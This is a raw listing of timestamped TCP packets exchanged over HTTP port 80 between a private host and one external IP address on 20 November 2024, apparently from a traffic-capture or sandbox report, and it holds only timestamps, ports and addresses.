Nov 20, 2024 05:02:20.840007067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840024948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840035915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840039968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840039968 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840044975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840064049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840065002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840075016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840084076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840092897 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840092897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840102911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840112925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840122938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840122938 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840133905 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840143919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840145111 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840159893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840173960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840173960 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840178013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840188980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840198994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840199947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840214014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840224028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840224981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840234041 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840243101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840245008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840253115 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840264082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840274096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840276957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840282917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840293884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840295076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840303898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840313911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840320110 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840331078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840338945 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840348005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840358019 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840358973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840374947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840379953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840395927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840396881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840408087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840416908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840420008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840428114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840437889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840450048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840459108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840460062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840470076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840481043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840482950 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840491056 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840502024 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840502977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840513945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840522051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840524912 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840537071 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:20.840540886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840560913 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:20.840610981 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.061892986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.061944962 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.114296913 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.114440918 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119220018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119230986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119242907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119282007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119327068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119465113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119489908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119505882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119535923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119535923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119561911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119563103 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119579077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119595051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119611025 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119626999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119628906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119628906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119628906 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119643927 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119661093 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119668961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119668961 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119682074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119698048 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119698048 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119716883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119724989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119741917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119755983 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119770050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119785070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119784117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119784117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119801998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119806051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119817019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119834900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119834900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119837999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119853973 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119873047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119889975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119891882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119918108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119929075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119930029 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119941950 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119957924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119963884 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119973898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119990110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.119992018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.119992971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120006084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120012045 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120022058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120033026 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120038986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120054007 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120059967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120059967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120069981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120080948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120086908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120102882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120106936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120106936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120120049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120127916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120145082 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120156050 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120156050 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120162010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120179892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120196104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120199919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120199919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120212078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120220900 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120229006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120238066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120248079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120254993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120264053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120274067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120291948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120310068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120364904 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120381117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120394945 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120409966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120420933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120420933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120425940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120441914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120443106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120460033 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120461941 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120481014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120481014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120501995 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120503902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120521069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120537043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120552063 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120558023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120580912 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120580912 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120592117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120604992 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120608091 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120625019 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120637894 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120641947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120641947 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120656013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120661974 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120672941 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120678902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120687962 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120701075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120701075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120706081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120724916 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120747089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120748043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120781898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120798111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120806932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120811939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120827913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120829105 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120843887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120856047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120856047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120860100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120876074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120876074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120893002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120902061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120903015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120909929 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120923042 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120927095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120939970 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120943069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120956898 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120969057 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.120976925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.120985985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121001005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121001959 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121002913 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121018887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121021986 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121035099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121041059 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121051073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121058941 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121067047 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121076107 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121083975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121104002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121104002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121128082 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121138096 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121153116 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121169090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121185064 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121186018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121206999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121212006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121212006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121222973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121232986 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121243954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121257067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121257067 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121275902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121280909 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121298075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121314049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121329069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121331930 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121345043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121361971 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121361017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121361017 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121378899 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121393919 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121403933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121403933 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121433973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121434927 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121454000 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121469021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121479988 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121484995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121501923 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121507883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121507883 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121519089 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121529102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121536016 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121572971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121572971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121572971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121586084 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121602058 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121617079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121632099 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121643066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121643066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121646881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121663094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121664047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121680975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121684074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121696949 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121704102 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121727943 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121727943 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121738911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121747971 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121756077 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121772051 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121784925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121788979 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121804953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121808052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121808052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121819973 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121835947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121839046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121839046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121857882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121869087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121876955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121898890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121913910 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121913910 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121931076 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121938944 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121947050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121959925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121963024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121980906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.121978998 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.121999025 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122004032 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122019053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122019053 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122042894 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122044086 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122061014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122076035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122091055 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122095108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122095108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122107029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122123003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:21.122123957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:21.122123957 CET	49730	80	192.168.2.4	185.156.72.65
